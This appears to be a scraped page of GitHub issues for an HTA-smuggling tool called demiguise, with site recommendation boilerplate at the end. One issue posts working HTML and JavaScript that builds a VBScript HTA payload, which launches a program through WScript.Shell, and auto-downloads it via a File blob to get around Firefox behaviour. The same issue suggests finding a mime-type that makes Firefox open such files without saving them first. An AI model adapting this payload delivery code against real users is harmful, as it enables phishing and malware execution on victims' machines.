But it returns following error
image

TypeError: 'range' object does not support item assignment

Hey!

Keep getting this error

Traceback (most recent call last): File "demiguise.py", line 126, in <module> hta_encrypted = base64.b64encode(rc4(args.key, hta_text)) File "demiguise.py", line 87, in rc4 S[i], S[j] = S[j], S[i] TypeError: 'range' object does not support item assignment

Firefox (with Chrome installed) doesn't open the HTA

It seems that the new blobShim feature has a slight issue in Firefox when Chrome is also installed on the system. By using a Blob object, the mime-type is inferred by Firefox as a "Chrome HTML Document", which causes it to try and open in Chrome (rather than executing the HTA).

One way round this might be to use a File object in the blobShim instead. Example below:

<html>
<body>
<script>
var hta = ['<script language="VBScript">Set obj = GetObject("new:0006F03A-0000-0000-C000-000000000046"): obj.CreateObject("WScript.Shell").Run("calc.exe"): self.close', '</' + 'script' + '>'];
var f = new File(hta, "test.hta", {type:"application/hta"});
var a=window.document.createElement("a");
a.href=window.URL.createObjectURL(f);
a.download="test.hta";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
</script>
</body>
</html>

It may also be interesting to play around with the mime-type to find out if there is a way to get Firefox to "Open" the file rather than save it first (this is due to the application/hta mime-type).

custom HTA

how can this be accomplish using a custom HTA or making it run putty.exe for example instead default notepad you there?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.